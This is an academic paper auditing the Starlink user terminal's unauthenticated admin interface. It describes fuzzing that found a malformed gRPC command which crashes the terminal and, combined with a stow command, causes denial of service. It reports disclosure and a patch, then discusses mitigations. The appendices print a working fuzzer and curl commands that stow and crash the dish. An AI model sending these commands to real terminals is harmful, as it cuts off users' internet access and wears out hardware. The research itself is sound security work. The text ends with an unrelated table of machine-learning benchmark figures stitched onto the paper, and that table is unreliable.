Joshua Smailes† University of Oxford
<EMAIL_ADDRESS>Edd Salkield† Sebastian Köhler  University of
Oxford
<EMAIL_ADDRESS>University of Oxford
<EMAIL_ADDRESS>Simon Birnbach  University of Oxford
<EMAIL_ADDRESS>Ivan Martinovic  † The authors contributed equally
to this paper.  University of Oxford
<EMAIL_ADDRESS>
###### Abstract

Satellite user terminals are a promising target for adversaries seeking to
target satellite communication networks. Despite this, many protections
commonly found in terrestrial routers are not present in some user terminals.

As a case study we audit the attack surface presented by the Starlink router’s
admin interface, using fuzzing to uncover a denial of service attack on the
Starlink user terminal. We explore the attack’s impact, particularly in the
cases of drive-by attackers, and attackers that are able to maintain a
continuous presence on the network. Finally, we discuss wider implications,
looking at lessons learned in terrestrial router security, and how to properly
implement them in this new context.

##  I Motivation

It is well known that commercial routers present an attack surface through the
administrator interface, which can allow attackers to scan for vulnerabilities
and reconfigure the router through malicious requests [10]. These requests can
be made either by attackers present on the network or by a victim’s browser
through “drive-by” attacks. By reconfiguring commercial routers attackers can
achieve outcomes such as denial of service, traffic sniffing, or DNS hijacking
[6]. Recent router implementations have been secured through better password
protection and browser policies.

As new satellite internet providers become more prevalent, new routers are
being designed and implemented without the institutional memory of these
vulnerabilities and their mitigations. Since the router is often part of a
physical system including a motorized dish, securing the admin interface is of
even greater importance. By attacking the admin interface, the attacker can
affect the physical state of the dish, opening up new approaches to denial of
service by turning the dish away from the sky. Furthermore, motors and other
hardware can be damaged in this way through overuse.

We therefore assess the security of the Starlink user terminal, paying
particular attention to the attack surface exposed by its web admin interface.
We explore both how requests are made to this interface and the effects of
sending undocumented commands, through the use of a fuzzer capable of
iterating through the unauthenticated command space. Through this approach we
find an exploit in the command decoding and execution logic which, when
combined with commands affecting the state of the dish, result in denial of
service persisting until the router is physically power-cycled. This can be
widely exploited due to poor security practices such as a lack of password
authentication on the admin interface, or default passwords on the WiFi
network itself.

We present our findings in this paper, discuss the wider impact of similar
attacks on satellite modems, and make recommendations to better secure
satellite routers. In Section II, we outline the capabilities required to
execute attacks against satellite router admin interfaces. In Section III, we
audit the Starlink user terminal, presenting a novel attack in which a
malformed command can be sent to put the user terminal into an inoperative
state until it can be physically power-cycled. In Section IV, we consider the
impact of this attack in different scenarios where the configuration command
interface can be exploited by on-network adversaries. In Section V, we discuss
the challenges facing secure router administration in light of these attacks,
and make recommendations towards more secure router design.

##  II Threat Model

The goal of the adversary is to modify the state of the satellite router, or
its connected hardware, through exploiting the admin interface. This is
achieved by sending commands, well-formed or otherwise, to the router.

We assume that the attacker is capable of scanning for vulnerabilities ahead
of time on their own equivalent hardware. The attacker also has the capability
to send requests over the local network.

There are two primary methods by which this can be achieved. Attackers that
can maintain presence on the local network can trivially send requests
locally. If this is not possible, the adversary may instead trick a legitimate
user into making the request on their behalf, by means such as a browser
drive-by attack.

##  III Attack

Figure 1: Overview of the Starlink modem functionality. gRPC calls are
encapsulated within HTTP POST requests by the web interface, which are decoded
and processed. Malformed gRPC requests cause the command handler to crash,
resulting in the modem no longer being able to respond to commands.

In this section we explore the underlying architecture of the Starlink modem,
and how this opens the system up to denial of service attacks. We also
describe an attack on the command handler resulting in persistent denial of
service.

The user terminal is typically administered via the “http://my.starlink.com”
web interface. This sends commands to the modem over the local network, using
gRPC (Google Remote Procedure Calls) encapsulated within HTTP “POST” requests.
As shown in Figure 1, these requests are decoded by a gRPC web proxy, and
forwarded to a command handler.

Although typically sent using the web interface, these gRPC commands can also
be made on their own from any device or application on the local network.
These commands can be sent directly through tools such as the grpcurl command-
line interface [4]. This can also be used to query the modem for available
functions. Alternatively, with prior knowledge of the format and commands,
HTTP-encapsulated gRPC requests can be sent directly using tools like cURL
[3]. It is not easy to construct these manually, but a network monitor such as
Wireshark can be used to inspect the bytes in a command [13]. For instance, to
“stow” the dish, turning it away from the sky so it can be more easily
transported, the cURL command given in Appendix B can be used.

Although some commands require password authentication, the vast majority do
not. Among these are telemetry and status requests, logging, and commands
affecting the physical state of the dish itself. As a result, an adversary on
the local network can trivially cause rudimentary denial of service – for
example, by sending the stow command to rotate the dish away from the sky,
leaving it unable to connect to satellites overhead. By repeatedly sending
these commands, service is denied for as long as the attacker can maintain
presence.

When encapsulated within HTTP requests, gRPC commands are very small – the
payload is usually between 2 and 5 bytes. This gives a sufficiently small
command space for effective fuzzing, since we can send commands of the correct
format with random contents to see if any are valid. Through this approach we
can find not only valid commands, but also invalid commands that expose corner
cases in the command handler, causing unexpected behavior.

###  III-A Fuzzer

Status code | Meaning | Frequency
---|---|---
0 | Success | 0
7 | Unable to verify signature | 1
12 | Unimplemented | 1949
13 | Cannot parse invalid wire-format data | 63586
TABLE I: Error codes resulting from the fuzzer on all 2-byte commands.

From looking at HTTP-encapsulated gRPC commands extracted using Wireshark, it
is clear that the payload always consists of four null bytes, followed by a
byte containing the length of the command, followed by the command itself.
Although the commands use a non-human-readable encoding, this knowledge of the
command structure allows us to build a fuzzer that iterates through correctly-
formatted commands to find those that have an effect.

Code for the fuzzer can be found in Appendix A – this script iterates through
all gRPC commands of a certain length. The vast majority of these return
“invalid” or “unimplemented” error codes, so the fuzzer discards these, only
saving those that return other codes. Table I shows the distribution of error
codes on all 2-byte commands. We can see that none of these 2-byte commands
are valid. For the 3-byte commands, there are too many to enumerate, so we
focus on those ending with a zero byte, as this matches many known commands.

This fuzzing approach led to the discovery of the “kill” command 00 00 00 00
03 EA 3E 00, which causes the command handler of the user terminal to crash.
This stops the modem from responding to commands, but does not stop the
terminal from functioning, effectively freezing its settings and state until
the terminal is rebooted. A physical power-cycle is required in order to
restore functionality.

###  III-B Exploitation

((a)) The dish in “active” and “stowed” modes.

((b)) A screenshot of the web control panel error screen following the attack,
and the result of sending commands to an inoperative dish.

Figure 2: The outcome of a successful attack on the Starlink dish, and the
resulting web control panel and response to commands.

Since the modem will no longer respond to commands, the terminal is frozen in
whatever state it was in before the kill command was sent. By first sending a
command to stow the dish before sending the kill command, the adversary can
cause denial of service – it will not be possible to restore internet access
until the dish is physically power-cycled.

Appendices B and C contain shell scripts to send the stow and kill commands to
a user terminal on the local network. The outcome of this attack can be seen
in Figure 2.

##  IV Impact

These attacks can have a significant impact – in Starlink’s case, denial of
service can be achieved by stowing the dish before sending the kill command,
requiring the dish to be physically power-cycled before service is restored.
Repeated stowing and unstowing of the dish can also cause damage to the
physical hardware. As long as the adversary remains on the network, attacks
can be repeated to cause continuous loss of service. Therefore, attackers that
can maintain presence on the network will have the greatest impact.

Since attacks can be deployed from any device connected to the local network,
large networks containing many untrusted users are at the greatest risk. Such
networks also suffer greater impact, as more devices are affected by network
disruptions. The impact is magnified when Starlink is the only source of
internet access for that customer. Examples may include maritime and aviation
traffic, internet cafés, or large organizations.

There is also potential for remote attacks, provided the attacker can in some
way cause a device on the same network as the dish to send HTTP requests. The
Cross-Origin Resource Sharing (CORS) policies of modern browsers prevent
javascript from making unauthorized requests to external domains or addresses,
so javascript-based attacks are unlikely unless legacy browsers are used [12].
However, the attacker could trick a user into executing a malicious executable
or script, which could easily be used to make these requests.

Furthermore, if the network is not password protected, an attacker can connect
and execute the attack while passing nearby. Since the Starlink routers do not
password protect the network by default, this is a serious concern. Executing
the attack only requires a few seconds of connection on the local network, and
can cause outages on the order of minutes or hours. This can be mitigated by
securing the network with a password or, if an unprotected network is
absolutely necessary, using the “guest network” mode provided by the router.
This adds an unprotected guest network which does not have access to the
administrative interface.

Restoring service requires physical access to the terminal, so disruption will
be increased where access is difficult or restricted. Examples may include
secured rooftop installations.

###  IV-A Responsible Disclosure

This vulnerability has been reported to Starlink through their provided
channels. It has been triaged and reproduced by their security team, and the
root cause was determined to be a bug in the gRPC server’s handling of edge
cases. A fix has since been implemented in patch
8c03f1b9-de75-404b-87fd-7986892cdacb.uterm.release and deployed to Starlink
user terminals in December 2022.

##  V Discussion

In Section III, we discussed how unauthenticated commands can be made to the
Starlink user terminal to disable it. These commands can, as discussed in
Section IV, be issued by an attacker present on the local network, or remotely
if a user can be tricked into running a malicious executable. Therefore, these
security issues are similar to those faced by other commercial routers and
server software, where bootstrapping a secure connection in the first instance
is non-trivial.

We therefore seek to outline the challenges and mitigations faced by the
Starlink dish, and outline more general principles on secure router design.

###  V-A Challenges

Some of the challenges facing secure router administration are as follows:

####  V-A1 Drive-by browser exploitation

The administrative interface served at “http://my.starlink.com” makes cross-
origin connections to the local router at 192.168.100.1 to configure the
network. Modern browsers restrict these requests according to the Cross-Origin
Resource Sharing (CORS) policy. These restrictions are primarily designed to
disallow websites reading data from other websites’ servers, unless that
server opts in using the Access-Control-Allow-Origin header. In the case of
Starlink, the server at 192.168.100.1 reports that only connections from
“http://my.starlink.com” are allowed. As a result, browsers that enforce the
CORS policy will refuse to allow websites other than “http://my.starlink.com”
to read the responses of requests that are made.

However, in the case of the Starlink dish and several other routers, changing
the configuration only requires the request to be made, without reading the
response [2]. To secure this case, non-simple requests now trigger a CORS
preflight request to confirm the Access-Control-Allow-Origin before sending
the initial request [8, 9].

In certain routers, only simple requests are required to change the state, and
are therefore vulnerable to drive-by browser exploitation even on modern
browsers [7]. However, the POST request used to configure the Starlink dish
requires the content-type: application/grpc-web+proto header, making it non-
simple. This is the only reason that the Starlink dish is not directly
exploitable on modern browsers; it is still, however, vulnerable on older
browsers which do not use the preflight check [11].

####  V-A2 Local network attack

Additionally, since administrative commands can be sent from any device on the
local network, any attacker capable of maintaining persistence on the local
network can send commands. As we go on to discuss below, password
authentication is sufficient to significantly increase the difficulty of
executing the attack. However, by more subtly acting on the local network, the
attacker can still affect the security of the system.

One method is through DNS hijacking, in which the attacker responds to DNS
requests on the local network to redirect the “http://my.starlink.com” domain
to their own server. This is possible, even if TLS were used, since the
browser does not expect a secure connection; we argue this can be resolved
through the use of HTTP Strict Transport Security [5].

Another method is IP spoofing, in which the attacker responds to a request to
“http://my.starlink.com” with a malicious website in order to make the request
to the router.

###  V-B Mitigations

The attack explored in this paper directly applies to the Starlink user
terminal, but the approach can be generalized to other satellite routers.
Although similar to traditional routers, the physical aspect of these systems
increases the importance of properly securing them. Despite this, known
security improvements from terrestrial router design have not been brought
forward. We proceed to explore these below.

####  V-B1 Password authentication

Password authenticating administrative commands is critical in order to
maintain security of the network. This is particularly true for satellite
modems, where physical hardware is controlled by the modem. A secure password
should be set by default for administrative operations, which must be
randomized per router to prevent reuse by the adversary across multiple
networks. Manufacturers should also be aware that unencrypted connections to
the router over an unsecured network exposes the password to sniffing on the
local network.

Since password entry adds friction to the user experience, some manufacturers
do not set a default administrator password, or set the same password across
all routers. In this case it is vital that the user is made to change this
password early on, to protect the router from drive-by exploitation. This can
be achieved by requiring a password change after the first use.

This is a problem for Starlink routers, which do not password protect the WiFi
network by default – this is considered bad practice, and the vast majority of
router manufacturers set a password by default. The admin panel is therefore
left open to the attacker by default since it is neither encrypted nor
password protected. The Starlink routers attempt to incentivize the user to
change the router SSID by setting it by default to
“Stinky”111https://twitter.com/elonmusk/status/1538202890258591744 – however,
no policy is implemented to encourage secure passwords.

The particular challenges surrounding the implementation of encrypted admin
interfaces are discussed below.

####  V-B2 Transport Layer Security

Encrypting the admin interface requires a TLS certificate on the router, which
can be verified by the user’s browser. Further security concerns are raised if
certificates are signed by a root authority, since attackers can extract a
certificate from one router and use it on another.

Routers should therefore generate self-signed certificates that can be
downloaded by the user and installed into their browser. Some routers such as
AVM’s FRITZ!Box implement this, creating a unique certificate for each router
[1]. Manufacturers implementing this should be aware of the risks of sending
the certificate over an initially insecure connection – the user can be guided
through the process of installing the certificate on first use. This provides
a similar level of security to that provided by Trust On First Use (TOFU)
policies used by SSH and other tools.

####  V-B3 Guest mode

If password authentication is not used on the administrator interface, it is
difficult to prevent malicious web pages from making requests to the
interface, and impossible to prevent local users from doing so.

These issues are partially mitigated by Starlink’s “guest mode”, in which
users can join a public-facing network that does not have access to the admin
interface. This protects the terminal from reconfiguration by untrusted users.
A more secure approach would only allow users to access the interface when on
a dedicated admin network, which cannot access the public internet. This
disables any form of drive-by attack.

##  VI Conclusion

In this paper we have explored the security challenges faced by the Starlink
router in light of existing work on the security of routers more generally.
This has highlighted the challenges inherent in establishing a secure
connection between the browser and router for administrative purposes, whilst
maintaining user convenience.

We have seen that the Starlink router was vulnerable to a denial of service
attack through the sending of malformed commands over the router’s
administrative interface. Although this vulnerability has since been patched,
it draws attention to weaknesses in the design of routers’ administrative
interfaces – design choices intended to facilitate a more streamlined user
experience lead to vulnerabilities which could be exploited by local
attackers, or by exploiting victims’ browsers.

Some technical improvements are required, but a significant factor in this is
steering users into making well-informed choices to maximize security. These
choices include changing administrative passwords, updating TLS certificates,
and making use of guest networks to reduce the risk of drive-by attacks.
Through good UX design, it is therefore possible to have a polished user
experience without sacrificing security.

## Acknowledgments

The authors would like to thank the Starlink responsible disclosure team for
promptly confirming the issue, deploying a fix, and ensuring that the
technical details within this paper are accurate. We would further like to
thank armasuisse Science and Technology for working closely with us and
providing access to the hardware.

## References

  * [1] Downloading your FRITZ!Box’s certificate and importing it to your computer. [Online]. Available: https://en.avm.de/service/knowledge-base/dok/FRITZ-Box-7272-int/1523_Downloading-your-FRITZ-Box-s-certificate-and-importing-it-to-your-computer/
  * [2] Bob. (2007, 02) Drive-by Pharming: Changing Settings on Home Router Without the User’s Knowledge. [Online]. Available: https://bugzilla.mozilla.org/show_bug.cgi?id=371598
  * [3] cURL Contributors. (1998) cURL: command line tool and library for transferring data with URLs. [Online]. Available: https://curl.se/
  * [4] FullStory. (2022) gRPCurl. [Online]. Available: https://github.com/fullstorydev/grpcurl
  * [5] J. Hodges, C. Jackson, and A. Barth, “HTTP Strict Transport Security (HSTS),” Internet Requests for Comments, RFC Editor, RFC 6797, 11 2021. [Online]. Available: https://datatracker.ietf.org/doc/html/rfc6797
  * [6] P. Jeitner, H. Shulman, L. Teichmann, and M. Waidner, “XDRI Attacks – and – How to Enhance Resilience of Residential Routers,” in _31st USENIX Security Symposium (USENIX Security 22)_ , 2022, pp. 4473–4490.
  * [7] Mozilla. (2006, 09) Mitigate CSRF attacks against internal networks (block rfc 1918 local addresses from non-local addresses). [Online]. Available: https://bugzilla.mozilla.org/show_bug.cgi?id=354493
  * [8] Mozilla. (2022, 12) Cross-Origin Resource Sharing (CORS), Simple requests. [Online]. Available: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests
  * [9] Mozilla. (2022, 08) Preflight request. [Online]. Available: https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request
  * [10] M. Niemietz and J. Schwenk, “Owning your home network: Router security revisited,” _arXiv preprint arXiv:1506.04112_ , 2015.
  * [11] A. van Kesteren, “Cross-Origin Resource Sharing,” W3C, First Edition of a Recommendation, 01 2014. [Online]. Available: https://www.w3.org/TR/2014/REC-cors-20140116/
  * [12] Web Hypertext Application Technology Working Group. (2023) Fetch Living Standard – CORS Protocol. [Online]. Available: https://fetch.spec.whatwg.org/#http-cors-protocol
  * [13] Wireshark Contributors. (1998) Wireshark. [Online]. Available: https://www.wireshark.org/

##  Appendix A Fuzzer Source Code

The following Python script iterates through all commands of length 3 with a
trailing zero byte, and logs those that do not return error code 13 (invalid)
or 12 (unimplemented). This can be easily modified to send commands of
different lengths, or to send commands in a random order.

⬇

import requests, random

from tqdm import tqdm

url = "http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle"

headers = {

"Accept": "*/*",

"Accept-Language": "en-GB,en;q=0.5",

"content-type": "application/grpc-web+proto",

"x-grpc-web": "1"

}

def send_request(data):

response = requests.post(url, data=data, headers=headers)

return dict(

data=data,

status_code=response.status_code,

headers=response.headers,

content=response.content

)

def generate_bytes(length, length_header=None, continue_from=None):

length_header = length_header or length

continue_from = continue_from or 0

preamble = b’\x00\x00\x00\x00’ + length_header.to_bytes(1, ’big’)

for i in range(continue_from, 256**length):

yield preamble + i.to_bytes(length, ’big’)

results = []

for data in tqdm(generate_bytes(2, length_header=3), total=256**2):

data = data + b’\x00’

response = send_request(data)

if response[’headers’].get(’grpc-status’) != ’13’ and
response[’headers’].get(’grpc-status’) != ’12’:

print("Found something!")

print(response)

results.append((data, response))

##  Appendix B gRPC HTTP “Stow” Command

The following shell script sends an HTTP POST request containing a gRPC
command to “stow” the dish, turning it away from the sky.

⬇

printf ’\x00\x00\x00\x00\x03\x92}\x00’ \

| curl ’http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle’ \

-X POST \

-H ’Accept: */*’ \

-H ’Accept-Language: en-GB,en;q=0.5’ \

-H ’content-type: application/grpc-web+proto’ \

-H ’x-grpc-web: 1’ \

\--data-binary @- -v | xxd

##  Appendix C gRPC HTTP “Kill” Command

The following shell script sends a malformed request, causing the dish to
crash.

⬇

printf ’\x00\x00\x00\x00\x03\xea>\x00’ \

| curl ’http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle’ \

-X POST \

-H ’Accept: */*’ \

-H ’Accept-Language: en-GB,en;q=0.5’ \

-H ’content-type: application/grpc-web+proto’ \

-H ’x-grpc-web: 1’ \

\--data-binary @- -v | xxd


spect | 2 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00*
3 | 8.26 | 0.37 | 0.37 | 0.00 | 0.00 | 0.71
4 | 35.36 | 4.70 | 4.48 | 4.59 | 4.36 | 4.21*
5 | 55.49 | 4.61 | 5.85 | 5.30 | 4.17 | 4.87
breast-cancer | 2 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00*
3 | 73.58 | 17.99 | 13.22 | 12.98 | 13.91 | 12.07*
4 | 16.05 | 17.11 | 15.27 | 15.52 | 15.02 | 15.67
5 | 11.68 | 10.37 | 11.69 | 10.15 | 9.90 | 11.34
balance-scale | 2 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00*
3 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.01
4 | 97.26 | 21.67 | 21.11 | 18.36 | 19.26 | 9.88*
5 | 100.00 | 21.44 | 21.12 | 21.32 | 21.56 | 21.63
tic-tac-toe | 2 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00*
3 | 100.00 | 30.84 | 29.01 | 28.45 | 29.36 | 18.57*
4 | 100.00 | 22.21 | 19.52 | 19.20 | 19.75 | 19.75*
5 | 100.00 | 13.04 | 13.00 | 16.27 | 14.81 | 14.24*
car_evaluation | 2 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00*
3 | 78.89 | 23.29 | 18.32 | 18.26 | 17.50 | 5.07*
4 | 100.00 | 28.27 | 21.44 | 22.73 | 21.90 | 20.65*
5 | 83.71 | 40.15 | 32.01 | 39.44 | 34.43 | 18.03*
kr-vs-kp | 2 | 0.00 | 7.23 | 0.00 | 0.00 | 0.00 | 0.00*
3 | 19.97 | 42.40 | 17.16 | 15.56 | 18.52 | 8.56*
4 | 27.98 | 41.53 | 57.25 | 45.89 | 42.85 | 12.60*
5 | 25.56 | 57.43 | 45.86 | 34.53 | 43.39 | 5.36*
fico_binary | 2 | 0.00 | 25.05 | 0.00 | 0.00 | 0.00 | 0.00*
3 | 98.31 | 39.50 | 39.51 | 41.47 | 41.43 | 39.95
4 | 99.57 | $>100$ | 60.95 | $>100$ | $>100$ | 41.48*
5 | 40.71 | $>100$ | $>100$ | $>100$ | $>100$ | 40.64*